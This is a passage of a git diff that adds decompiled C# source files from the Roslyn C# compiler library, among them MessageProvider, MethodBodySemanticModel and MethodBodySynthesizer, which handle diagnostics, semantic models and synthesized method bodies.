+ + static MessageProvider() + { + Instance = new MessageProvider(); + ObjectBinder.RegisterTypeReader(typeof(MessageProvider), (Func)((ObjectReader r) => (IObjectWritable)(object)Instance)); + } + + private MessageProvider() + { + } + + void IObjectWritable.WriteTo(ObjectWriter writer) + { + } + + public override DiagnosticSeverity GetSeverity(int code) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return ErrorFacts.GetSeverity((ErrorCode)code); + } + + public override string LoadMessage(int code, CultureInfo language) + { + return ErrorFacts.GetMessage((ErrorCode)code, language); + } + + public override LocalizableString GetMessageFormat(int code) + { + return (LocalizableString)(object)ErrorFacts.GetMessageFormat((ErrorCode)code); + } + + public override LocalizableString GetDescription(int code) + { + return (LocalizableString)(object)ErrorFacts.GetDescription((ErrorCode)code); + } + + public override LocalizableString GetTitle(int code) + { + return (LocalizableString)(object)ErrorFacts.GetTitle((ErrorCode)code); + } + + public override string GetHelpLink(int code) + { + return ErrorFacts.GetHelpLink((ErrorCode)code); + } + + public override string GetCategory(int code) + { + return ErrorFacts.GetCategory((ErrorCode)code); + } + + public override string GetMessagePrefix(string id, DiagnosticSeverity severity, bool isWarningAsError, CultureInfo culture) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + return string.Format(culture, "{0} {1}", ((int)severity == 3 || isWarningAsError) ? "error" : "warning", id); + } + + public override int GetWarningLevel(int code) + { + return ErrorFacts.GetWarningLevel((ErrorCode)code); + } + + public override Diagnostic CreateDiagnostic(int code, Location location, params object[] args) + { + return (Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo((ErrorCode)code, args, ImmutableArray.Empty, ImmutableArray.Empty), location); + } + + public override Diagnostic CreateDiagnostic(DiagnosticInfo info) + { + return (Diagnostic)(object)new CSDiagnostic(info, Location.None); + } + + public override string GetErrorDisplayString(ISymbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + if ((int)symbol.Kind == 2 || (int)symbol.Kind == 12) + { + return ((object)symbol).ToString(); + } + return SymbolDisplay.ToDisplayString(symbol, SymbolDisplayFormat.CSharpShortErrorMessageFormat); + } + + public override bool GetIsEnabledByDefault(int code) + { + bool flag = (uint)(code - 9018) <= 4u; + return !flag; + } + + public override ReportDiagnostic GetDiagnosticReport(DiagnosticInfo diagnosticInfo, CompilationOptions options) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + bool hasPragmaSuppression; + return CSharpDiagnosticFilter.GetDiagnosticReport(diagnosticInfo.Severity, isEnabledByDefault: true, diagnosticInfo.Code, diagnosticInfo.MessageIdentifier, diagnosticInfo.WarningLevel, Location.None, options.WarningLevel, ((CompilationOptions)(CSharpCompilationOptions)(object)options).NullableContextOptions, options.GeneralDiagnosticOption, options.SpecificDiagnosticOptions, options.SyntaxTreeOptionsProvider, CancellationToken.None, out hasPragmaSuppression); + } + + public override void ReportDuplicateMetadataReferenceStrong(DiagnosticBag diagnostics, Location location, MetadataReference reference, AssemblyIdentity identity, MetadataReference equivalentReference, AssemblyIdentity equivalentIdentity) + { + diagnostics.Add(ErrorCode.ERR_DuplicateImport, location, reference.Display ?? identity.GetDisplayName(false), equivalentReference.Display ?? equivalentIdentity.GetDisplayName(false)); + } + + public override void ReportDuplicateMetadataReferenceWeak(DiagnosticBag diagnostics, Location location, MetadataReference reference, AssemblyIdentity identity, MetadataReference equivalentReference, AssemblyIdentity equivalentIdentity) + { + diagnostics.Add(ErrorCode.ERR_DuplicateImportSimple, location, identity.Name, reference.Display ?? identity.GetDisplayName(false)); + } + + protected override void ReportInvalidAttributeArgument(DiagnosticBag diagnostics, SyntaxNode attributeSyntax, int parameterIndex, AttributeData attribute) + { + AttributeSyntax attributeSyntax2 = (AttributeSyntax)(object)attributeSyntax; + CSharpSyntaxNode attributeArgumentSyntax = attribute.GetAttributeArgumentSyntax(parameterIndex, attributeSyntax2); + diagnostics.Add(ErrorCode.ERR_InvalidAttributeArgument, ((SyntaxNode)attributeArgumentSyntax).Location, attributeSyntax2.GetErrorDisplayName()); + } + + protected override void ReportInvalidNamedArgument(DiagnosticBag diagnostics, SyntaxNode attributeSyntax, int namedArgumentIndex, ITypeSymbol attributeClass, string parameterName) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + AttributeSyntax attributeSyntax2 = (AttributeSyntax)(object)attributeSyntax; + diagnostics.Add(ErrorCode.ERR_InvalidNamedArgument, ((SyntaxNode)attributeSyntax2.ArgumentList.Arguments[namedArgumentIndex]).Location, parameterName); + } + + protected override void ReportParameterNotValidForType(DiagnosticBag diagnostics, SyntaxNode attributeSyntax, int namedArgumentIndex) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + AttributeSyntax attributeSyntax2 = (AttributeSyntax)(object)attributeSyntax; + diagnostics.Add(ErrorCode.ERR_ParameterNotValidForType, ((SyntaxNode)attributeSyntax2.ArgumentList.Arguments[namedArgumentIndex]).Location); + } + + protected override void ReportMarshalUnmanagedTypeNotValidForFields(DiagnosticBag diagnostics, SyntaxNode attributeSyntax, int parameterIndex, string unmanagedTypeName, AttributeData attribute) + { + AttributeSyntax attributeSyntax2 = (AttributeSyntax)(object)attributeSyntax; + CSharpSyntaxNode attributeArgumentSyntax = attribute.GetAttributeArgumentSyntax(parameterIndex, attributeSyntax2); + diagnostics.Add(ErrorCode.ERR_MarshalUnmanagedTypeNotValidForFields, ((SyntaxNode)attributeArgumentSyntax).Location, unmanagedTypeName); + } + + protected override void ReportMarshalUnmanagedTypeOnlyValidForFields(DiagnosticBag diagnostics, SyntaxNode attributeSyntax, int parameterIndex, string unmanagedTypeName, AttributeData attribute) + { + AttributeSyntax attributeSyntax2 = (AttributeSyntax)(object)attributeSyntax; + CSharpSyntaxNode attributeArgumentSyntax = attribute.GetAttributeArgumentSyntax(parameterIndex, attributeSyntax2); + diagnostics.Add(ErrorCode.ERR_MarshalUnmanagedTypeOnlyValidForFields, ((SyntaxNode)attributeArgumentSyntax).Location, unmanagedTypeName); + } + + protected override void ReportAttributeParameterRequired(DiagnosticBag diagnostics, SyntaxNode attributeSyntax, string parameterName) + { + AttributeSyntax attributeSyntax2 = (AttributeSyntax)(object)attributeSyntax; + diagnostics.Add(ErrorCode.ERR_AttributeParameterRequired1, ((SyntaxNode)attributeSyntax2.Name).Location, parameterName); + } + + protected override void ReportAttributeParameterRequired(DiagnosticBag diagnostics, SyntaxNode attributeSyntax, string parameterName1, string parameterName2) + { + AttributeSyntax attributeSyntax2 = (AttributeSyntax)(object)attributeSyntax; + diagnostics.Add(ErrorCode.ERR_AttributeParameterRequired2, ((SyntaxNode)attributeSyntax2.Name).Location, parameterName1, parameterName2); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodArgumentInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodArgumentInfo.cs new file mode 100644 index 0000000..f612e69 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodArgumentInfo.cs @@ -0,0 +1,14 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed record MethodArgumentInfo(MethodSymbol Method, ImmutableArray Arguments, ImmutableArray ArgsToParamsOpt, BitVector DefaultArguments, bool Expanded) +{ + public static MethodArgumentInfo CreateParameterlessMethod(MethodSymbol method) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + return new MethodArgumentInfo(method, ImmutableArray.Empty, default(ImmutableArray), default(BitVector), Expanded: false); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodBodySemanticModel.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodBodySemanticModel.cs new file mode 100644 index 0000000..c7862ee --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodBodySemanticModel.cs @@ -0,0 +1,241 @@ +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class MethodBodySemanticModel : MemberSemanticModel +{ + internal readonly struct InitialState + { + internal readonly CSharpSyntaxNode Syntax; + + internal readonly BoundNode? Body; + + internal readonly Binder? Binder; + + internal readonly NullableWalker.SnapshotManager? SnapshotManager; + + internal readonly ImmutableDictionary? RemappedSymbols; + + internal InitialState(CSharpSyntaxNode syntax, BoundNode? bodyOpt = null, Binder? binder = null, NullableWalker.SnapshotManager? snapshotManager = null, ImmutableDictionary? remappedSymbols = null) + { + Syntax = syntax; + Body = bodyOpt; + Binder = binder; + SnapshotManager = snapshotManager; + RemappedSymbols = remappedSymbols; + } + } + + internal MethodBodySemanticModel(MethodSymbol owner, Binder rootBinder, CSharpSyntaxNode syntax, PublicSemanticModel containingPublicSemanticModel, ImmutableDictionary parentRemappedSymbolsOpt = null) + : base(syntax, owner, rootBinder, containingPublicSemanticModel, parentRemappedSymbolsOpt) + { + } + + internal static MethodBodySemanticModel Create(SyntaxTreeSemanticModel containingSemanticModel, MethodSymbol owner, InitialState initialState) + { + MethodBodySemanticModel methodBodySemanticModel = new MethodBodySemanticModel(owner, initialState.Binder, initialState.Syntax, containingSemanticModel); + if (initialState.Body != null) + { + methodBodySemanticModel.UnguardedAddBoundTreeForStandaloneSyntax((SyntaxNode)(object)initialState.Syntax, initialState.Body, initialState.SnapshotManager, initialState.RemappedSymbols); + } + return methodBodySemanticModel; + } + + internal override BoundNode Bind(Binder binder, CSharpSyntaxNode node, BindingDiagnosticBag diagnostics) + { + switch (node.Kind()) + { + case SyntaxKind.ArrowExpressionClause: + return binder.BindExpressionBodyAsBlock((ArrowExpressionClauseSyntax)node, diagnostics); + case SyntaxKind.BaseConstructorInitializer: + case SyntaxKind.ThisConstructorInitializer: + return binder.BindConstructorInitializer((ConstructorInitializerSyntax)node, diagnostics); + case SyntaxKind.PrimaryConstructorBaseType: + return binder.BindConstructorInitializer((PrimaryConstructorBaseTypeSyntax)node, diagnostics); + case SyntaxKind.CompilationUnit: + case SyntaxKind.ClassDeclaration: + case SyntaxKind.MethodDeclaration: + case SyntaxKind.OperatorDeclaration: + case SyntaxKind.ConversionOperatorDeclaration: + case SyntaxKind.ConstructorDeclaration: + case SyntaxKind.DestructorDeclaration: + case SyntaxKind.GetAccessorDeclaration: + case SyntaxKind.SetAccessorDeclaration: + case SyntaxKind.AddAccessorDeclaration: + case SyntaxKind.RemoveAccessorDeclaration: + case SyntaxKind.InitAccessorDeclaration: + case SyntaxKind.RecordDeclaration: + return binder.BindMethodBody(node, diagnostics); + default: + return base.Bind(binder, node, diagnostics); + } + } + + internal static SpeculativeSemanticModelWithMemberModel CreateSpeculative(SyntaxTreeSemanticModel parentSemanticModel, MethodSymbol owner, StatementSyntax syntax, Binder rootBinder, NullableWalker.SnapshotManager snapshotManagerOpt, ImmutableDictionary parentRemappedSymbolsOpt, int position) + { + return CreateSpeculativeForNode(parentSemanticModel, owner, syntax, rootBinder, snapshotManagerOpt, parentRemappedSymbolsOpt, position); + } + + private static SpeculativeSemanticModelWithMemberModel CreateSpeculativeForNode(SyntaxTreeSemanticModel parentSemanticModel, MethodSymbol owner, CSharpSyntaxNode syntax, Binder rootBinder, NullableWalker.SnapshotManager snapshotManagerOpt, ImmutableDictionary parentRemappedSymbolsOpt, int position) + { + return new SpeculativeSemanticModelWithMemberModel(parentSemanticModel, position, owner, syntax, rootBinder, parentRemappedSymbolsOpt, snapshotManagerOpt); + } + + internal static SpeculativeSemanticModelWithMemberModel CreateSpeculative(SyntaxTreeSemanticModel parentSemanticModel, MethodSymbol owner, ArrowExpressionClauseSyntax syntax, Binder rootBinder, int position) + { + return CreateSpeculativeForNode(parentSemanticModel, owner, syntax, rootBinder, null, null, position); + } + + internal static SpeculativeSemanticModelWithMemberModel CreateSpeculative(SyntaxTreeSemanticModel parentSemanticModel, MethodSymbol owner, ConstructorInitializerSyntax syntax, Binder rootBinder, int position) + { + return CreateSpeculativeForNode(parentSemanticModel, owner, syntax, rootBinder, null, null, position); + } + + internal static SpeculativeSemanticModelWithMemberModel CreateSpeculative(SyntaxTreeSemanticModel parentSemanticModel, MethodSymbol owner, PrimaryConstructorBaseTypeSyntax syntax, Binder rootBinder, int position) + { + return CreateSpeculativeForNode(parentSemanticModel, owner, syntax, rootBinder, null, null, position); + } + + internal override bool TryGetSpeculativeSemanticModelForMethodBodyCore(SyntaxTreeSemanticModel parentModel, int position, BaseMethodDeclarationSyntax method, out PublicSemanticModel speculativeModel) + { + return GetSpeculativeSemanticModelForMethodBody(parentModel, position, method.Body, out speculativeModel); + } + + private bool GetSpeculativeSemanticModelForMethodBody(SyntaxTreeSemanticModel parentModel, int position, BlockSyntax body, out PublicSemanticModel speculativeModel) + { + position = CheckAndAdjustPosition(position); + MethodSymbol methodSymbol = (MethodSymbol)base.MemberSymbol; + Binder binder = RootBinder; + do + { + if (binder is ExecutableCodeBinder) + { + binder = binder.Next; + break; + } + binder = binder.Next; + } + while (binder != null); + Binder next = new WithNullableContextBinder(SyntaxTree, position, binder ?? RootBinder); + next = new ExecutableCodeBinder((SyntaxNode)(object)body, methodSymbol, next); + Binder rootBinder = next.GetBinder((SyntaxNode)(object)body).WithAdditionalFlags(GetSemanticModelBinderFlags()); + speculativeModel = CreateSpeculative(parentModel, methodSymbol, body, rootBinder, null, null, position); + return true; + } + + internal override bool TryGetSpeculativeSemanticModelForMethodBodyCore(SyntaxTreeSemanticModel parentModel, int position, AccessorDeclarationSyntax accessor, out PublicSemanticModel speculativeModel) + { + return GetSpeculativeSemanticModelForMethodBody(parentModel, position, accessor.Body, out speculativeModel); + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, StatementSyntax statement, out PublicSemanticModel speculativeModel) + { + position = CheckAndAdjustPosition(position); + Binder enclosingBinder = GetEnclosingBinder(position); + if (enclosingBinder == null) + { + speculativeModel = null; + return false; + } + MethodSymbol methodSymbol = (MethodSymbol)base.MemberSymbol; + enclosingBinder = new WithNullableContextBinder(SyntaxTree, position, enclosingBinder); + enclosingBinder = new ExecutableCodeBinder((SyntaxNode)(object)statement, methodSymbol, enclosingBinder); + speculativeModel = CreateSpeculative(parentModel, methodSymbol, statement, enclosingBinder, GetSnapshotManager(), GetRemappedSymbols(), position); + return true; + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, ArrowExpressionClauseSyntax expressionBody, out PublicSemanticModel speculativeModel) + { + position = CheckAndAdjustPosition(position); + Binder enclosingBinder = GetEnclosingBinder(position); + if (enclosingBinder == null) + { + speculativeModel = null; + return false; + } + MethodSymbol methodSymbol = (MethodSymbol)base.MemberSymbol; + enclosingBinder = new WithNullableContextBinder(SyntaxTree, position, enclosingBinder); + enclosingBinder = new ExecutableCodeBinder((SyntaxNode)(object)expressionBody, methodSymbol, enclosingBinder); + speculativeModel = CreateSpeculative(parentModel, methodSymbol, expressionBody, enclosingBinder, position); + return true; + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, ConstructorInitializerSyntax constructorInitializer, out PublicSemanticModel speculativeModel) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Invalid comparison between Unknown and I4 + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + if (base.MemberSymbol is MethodSymbol methodSymbol && (int)methodSymbol.MethodKind == 1) + { + SyntaxToken val = Root.FindToken(position); + SyntaxNode parent = ((SyntaxToken)(ref val)).Parent; + if (((parent == null) ? null : parent.AncestorsAndSelf(true).OfType().FirstOrDefault()?.Parent) == Root) + { + Binder enclosingBinder = GetEnclosingBinder(position); + if (enclosingBinder != null) + { + enclosingBinder = new WithNullableContextBinder(SyntaxTree, position, enclosingBinder); + enclosingBinder = new ExecutableCodeBinder((SyntaxNode)(object)constructorInitializer, methodSymbol, enclosingBinder); + speculativeModel = CreateSpeculative(parentModel, methodSymbol, constructorInitializer, enclosingBinder, position); + return true; + } + } + } + speculativeModel = null; + return false; + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, PrimaryConstructorBaseTypeSyntax constructorInitializer, out PublicSemanticModel speculativeModel) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (base.MemberSymbol is SynthesizedPrimaryConstructor synthesizedPrimaryConstructor) + { + TypeDeclarationSyntax syntax = synthesizedPrimaryConstructor.GetSyntax(); + if (syntax != null) + { + SyntaxToken val = Root.FindToken(position); + SyntaxNode parent = ((SyntaxToken)(ref val)).Parent; + if (((parent != null) ? parent.AncestorsAndSelf(true).OfType().FirstOrDefault() : null) == syntax.PrimaryConstructorBaseTypeIfClass) + { + Binder enclosingBinder = GetEnclosingBinder(position); + if (enclosingBinder != null) + { + enclosingBinder = new WithNullableContextBinder(SyntaxTree, position, enclosingBinder); + enclosingBinder = new ExecutableCodeBinder((SyntaxNode)(object)constructorInitializer, synthesizedPrimaryConstructor, enclosingBinder); + speculativeModel = CreateSpeculative(parentModel, synthesizedPrimaryConstructor, constructorInitializer, enclosingBinder, position); + return true; + } + } + } + } + speculativeModel = null; + return false; + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, EqualsValueClauseSyntax initializer, out PublicSemanticModel speculativeModel) + { + speculativeModel = null; + return false; + } + + protected override BoundNode RewriteNullableBoundNodesWithSnapshots(BoundNode boundRoot, Binder binder, DiagnosticBag diagnostics, bool createSnapshots, out NullableWalker.SnapshotManager snapshotManager, ref ImmutableDictionary remappedSymbols) + { + NullableWalker.VariableState afterInitializersState = NullableWalker.GetAfterInitializersState(Compilation, base.MemberSymbol, boundRoot); + return NullableWalker.AnalyzeAndRewrite(Compilation, base.MemberSymbol, boundRoot, binder, afterInitializersState, diagnostics, createSnapshots, out snapshotManager, ref remappedSymbols); + } + + protected override void AnalyzeBoundNodeNullability(BoundNode boundRoot, Binder binder, DiagnosticBag diagnostics, bool createSnapshots) + { + NullableWalker.AnalyzeWithoutRewrite(Compilation, base.MemberSymbol, boundRoot, binder, diagnostics, createSnapshots); + } + + protected override bool IsNullableAnalysisEnabled() + { + return Compilation.IsNullableAnalysisEnabledIn((MethodSymbol)base.MemberSymbol); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodBodySynthesizer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodBodySynthesizer.cs new file mode 100644 index 0000000..6aec2a0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodBodySynthesizer.cs @@ -0,0 +1,366 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.RuntimeMembers; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class MethodBodySynthesizer +{ + internal static ImmutableArray ConstructScriptConstructorBody(BoundStatement loweredBody, MethodSymbol constructor, SynthesizedSubmissionFields previousSubmissionFields, CSharpCompilation compilation) + { + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode syntax = loweredBody.Syntax; + NamedTypeSymbol specialType = constructor.ContainingAssembly.GetSpecialType((SpecialType)1); + BoundExpression receiverOpt = new BoundThisReference(syntax, constructor.ContainingType) + { + WasCompilerGenerated = true + }; + BoundStatement boundStatement = new BoundExpressionStatement(syntax, new BoundCall(syntax, receiverOpt, (ThreeState)0, specialType.InstanceConstructors[0], ImmutableArray.Empty, ImmutableArray.Empty, ImmutableArray.Empty, isDelegateCall: false, expanded: false, invokedAsExtensionMethod: false, ImmutableArray.Empty, BitVector.Empty, LookupResultKind.Viable, specialType) + { + WasCompilerGenerated = true + }) + { + WasCompilerGenerated = true + }; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.Add(boundStatement); + if (constructor.IsSubmissionConstructor) + { + MakeSubmissionInitialization(instance, syntax, constructor, previousSubmissionFields, compilation); + } + instance.Add(loweredBody); + return instance.ToImmutableAndFree(); + } + + private static void MakeSubmissionInitialization(ArrayBuilder statements, SyntaxNode syntax, MethodSymbol submissionConstructor, SynthesizedSubmissionFields synthesizedFields, CSharpCompilation compilation) + { + BoundParameter expression = new BoundParameter(syntax, submissionConstructor.Parameters[0]) + { + WasCompilerGenerated = true + }; + NamedTypeSymbol specialType = compilation.GetSpecialType((SpecialType)13); + NamedTypeSymbol specialType2 = compilation.GetSpecialType((SpecialType)1); + BoundThisReference boundThisReference = new BoundThisReference(syntax, submissionConstructor.ContainingType) + { + WasCompilerGenerated = true + }; + int submissionSlotIndex = ((Compilation)compilation).GetSubmissionSlotIndex(); + statements.Add((BoundStatement)new BoundExpressionStatement(syntax, new BoundAssignmentOperator(syntax, new BoundArrayAccess(syntax, expression, ImmutableArray.Create((BoundExpression)new BoundLiteral(syntax, ConstantValue.Create(submissionSlotIndex), specialType) + { + WasCompilerGenerated = true + }), specialType2) + { + WasCompilerGenerated = true + }, boundThisReference, isRef: false, boundThisReference.Type) + { + WasCompilerGenerated = true + }) + { + WasCompilerGenerated = true + }); + FieldSymbol hostObjectField = synthesizedFields.GetHostObjectField(); + if ((object)hostObjectField != null) + { + statements.Add((BoundStatement)new BoundExpressionStatement(syntax, new BoundAssignmentOperator(syntax, new BoundFieldAccess(syntax, boundThisReference, hostObjectField, null) + { + WasCompilerGenerated = true + }, BoundConversion.Synthesized(syntax, new BoundArrayAccess(syntax, expression, ImmutableArray.Create((BoundExpression)new BoundLiteral(syntax, ConstantValue.Create(0), specialType) + { + WasCompilerGenerated = true + }), specialType2), Conversion.ExplicitReference, @checked: false, explicitCastInCode: true, null, null, hostObjectField.Type), hostObjectField.Type) + { + WasCompilerGenerated = true + }) + { + WasCompilerGenerated = true + }); + } + foreach (FieldSymbol fieldSymbol in synthesizedFields.FieldSymbols) + { + ImplicitNamedTypeSymbol implicitNamedTypeSymbol = (ImplicitNamedTypeSymbol)fieldSymbol.Type; + int submissionSlotIndex2 = ((Compilation)implicitNamedTypeSymbol.DeclaringCompilation).GetSubmissionSlotIndex(); + statements.Add((BoundStatement)new BoundExpressionStatement(syntax, new BoundAssignmentOperator(syntax, new BoundFieldAccess(syntax, boundThisReference, fieldSymbol, null) + { + WasCompilerGenerated = true + }, BoundConversion.Synthesized(syntax, new BoundArrayAccess(syntax, expression, ImmutableArray.Create((BoundExpression)new BoundLiteral(syntax, ConstantValue.Create(submissionSlotIndex2), specialType) + { + WasCompilerGenerated = true + }), specialType2) + { + WasCompilerGenerated = true + }, Conversion.ExplicitReference, @checked: false, explicitCastInCode: true, null, null, implicitNamedTypeSymbol), implicitNamedTypeSymbol) + { + WasCompilerGenerated = true + }) + { + WasCompilerGenerated = true + }); + } + } + + internal static BoundBlock ConstructAutoPropertyAccessorBody(SourceMemberMethodSymbol accessor) + { + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Invalid comparison between Unknown and I4 + SourcePropertySymbolBase sourcePropertySymbolBase = (SourcePropertySymbolBase)accessor.AssociatedSymbol; + CSharpSyntaxNode cSharpSyntaxNode = sourcePropertySymbolBase.CSharpSyntaxNode; + BoundExpression receiver = null; + if (!accessor.IsStatic) + { + ParameterSymbol thisParameter = accessor.ThisParameter; + receiver = new BoundThisReference((SyntaxNode)(object)cSharpSyntaxNode, thisParameter.Type) + { + WasCompilerGenerated = true + }; + } + SynthesizedBackingFieldSymbol backingField = sourcePropertySymbolBase.BackingField; + BoundFieldAccess boundFieldAccess = new BoundFieldAccess((SyntaxNode)(object)cSharpSyntaxNode, receiver, backingField, null) + { + WasCompilerGenerated = true + }; + BoundStatement statement; + if ((int)accessor.MethodKind == 11) + { + statement = new BoundReturnStatement((SyntaxNode)(object)accessor.SyntaxNode, (RefKind)0, boundFieldAccess, @checked: false); + } + else + { + ParameterSymbol parameterSymbol = accessor.Parameters[0]; + statement = new BoundExpressionStatement((SyntaxNode)(object)accessor.SyntaxNode, new BoundAssignmentOperator((SyntaxNode)(object)cSharpSyntaxNode, boundFieldAccess, new BoundParameter((SyntaxNode)(object)cSharpSyntaxNode, parameterSymbol) + { + WasCompilerGenerated = true + }, sourcePropertySymbolBase.Type) + { + WasCompilerGenerated = true + }); + } + return BoundBlock.SynthesizedNoLocals((SyntaxNode)(object)cSharpSyntaxNode, statement); + } + + internal static BoundBlock ConstructFieldLikeEventAccessorBody(SourceEventSymbol eventSymbol, bool isAddMethod, CSharpCompilation compilation, BindingDiagnosticBag diagnostics) + { + if (!eventSymbol.IsWindowsRuntimeEvent) + { + return ConstructFieldLikeEventAccessorBody_Regular(eventSymbol, isAddMethod, compilation, diagnostics); + } + return ConstructFieldLikeEventAccessorBody_WinRT(eventSymbol, isAddMethod, compilation, diagnostics); + } + + internal static BoundBlock ConstructFieldLikeEventAccessorBody_WinRT(SourceEventSymbol eventSymbol, bool isAddMethod, CSharpCompilation compilation, BindingDiagnosticBag diagnostics) + { + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode cSharpSyntaxNode = eventSymbol.CSharpSyntaxNode; + MethodSymbol methodSymbol = (isAddMethod ? eventSymbol.AddMethod : eventSymbol.RemoveMethod); + FieldSymbol associatedField = eventSymbol.AssociatedField; + NamedTypeSymbol newOwner = (NamedTypeSymbol)associatedField.Type; + MethodSymbol methodSymbol2 = (MethodSymbol)Binder.GetWellKnownTypeMember(compilation, (WellKnownMember)102, diagnostics, null, (SyntaxNode)(object)cSharpSyntaxNode); + if ((object)methodSymbol2 == null) + { + return null; + } + methodSymbol2 = methodSymbol2.AsMember(newOwner); + WellKnownMember member = (WellKnownMember)(isAddMethod ? 101 : 104); + MethodSymbol methodSymbol3 = (MethodSymbol)Binder.GetWellKnownTypeMember(compilation, member, diagnostics, null, (SyntaxNode)(object)cSharpSyntaxNode); + if ((object)methodSymbol3 == null) + { + return null; + } + methodSymbol3 = methodSymbol3.AsMember(newOwner); + BoundFieldAccess arg = new BoundFieldAccess((SyntaxNode)(object)cSharpSyntaxNode, associatedField.IsStatic ? null : new BoundThisReference((SyntaxNode)(object)cSharpSyntaxNode, methodSymbol.ThisParameter.Type), associatedField, null) + { + WasCompilerGenerated = true + }; + BoundCall receiverOpt = BoundCall.Synthesized((SyntaxNode)(object)cSharpSyntaxNode, null, (ThreeState)0, methodSymbol2, arg); + BoundParameter arg2 = new BoundParameter((SyntaxNode)(object)cSharpSyntaxNode, methodSymbol.Parameters[0]); + BoundCall expression = BoundCall.Synthesized((SyntaxNode)(object)cSharpSyntaxNode, receiverOpt, (ThreeState)0, methodSymbol3, arg2); + if (isAddMethod) + { + BoundStatement statement = BoundReturnStatement.Synthesized((SyntaxNode)(object)cSharpSyntaxNode, (RefKind)0, expression); + return BoundBlock.SynthesizedNoLocals((SyntaxNode)(object)cSharpSyntaxNode, statement); + } + BoundStatement boundStatement = new BoundExpressionStatement((SyntaxNode)(object)cSharpSyntaxNode, expression); + BoundStatement boundStatement2 = new BoundReturnStatement((SyntaxNode)(object)cSharpSyntaxNode, (RefKind)0, null, @checked: false); + return BoundBlock.SynthesizedNoLocals((SyntaxNode)(object)cSharpSyntaxNode, boundStatement, boundStatement2); + } + + internal static BoundBlock ConstructFieldLikeEventAccessorBody_Regular(SourceEventSymbol eventSymbol, bool isAddMethod, CSharpCompilation compilation, BindingDiagnosticBag diagnostics) + { + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode cSharpSyntaxNode = eventSymbol.CSharpSyntaxNode; + TypeSymbol type = eventSymbol.Type; + MethodSymbol methodSymbol = (isAddMethod ? eventSymbol.AddMethod : eventSymbol.RemoveMethod); + ParameterSymbol thisParameter = methodSymbol.ThisParameter; + TypeSymbol specialType = compilation.GetSpecialType((SpecialType)7); + SpecialMember val = (SpecialMember)(isAddMethod ? 17 : 18); + MethodSymbol methodSymbol2 = (MethodSymbol)compilation.GetSpecialTypeMember(val); + BoundStatement boundStatement = new BoundReturnStatement((SyntaxNode)(object)cSharpSyntaxNode, (RefKind)0, null, @checked: false) + { + WasCompilerGenerated = true + }; + if (methodSymbol2 == null) + { + MemberDescriptor descriptor = SpecialMembers.GetDescriptor(val); + ((BindingDiagnosticBag)diagnostics).Add((Diagnostic)(object)new 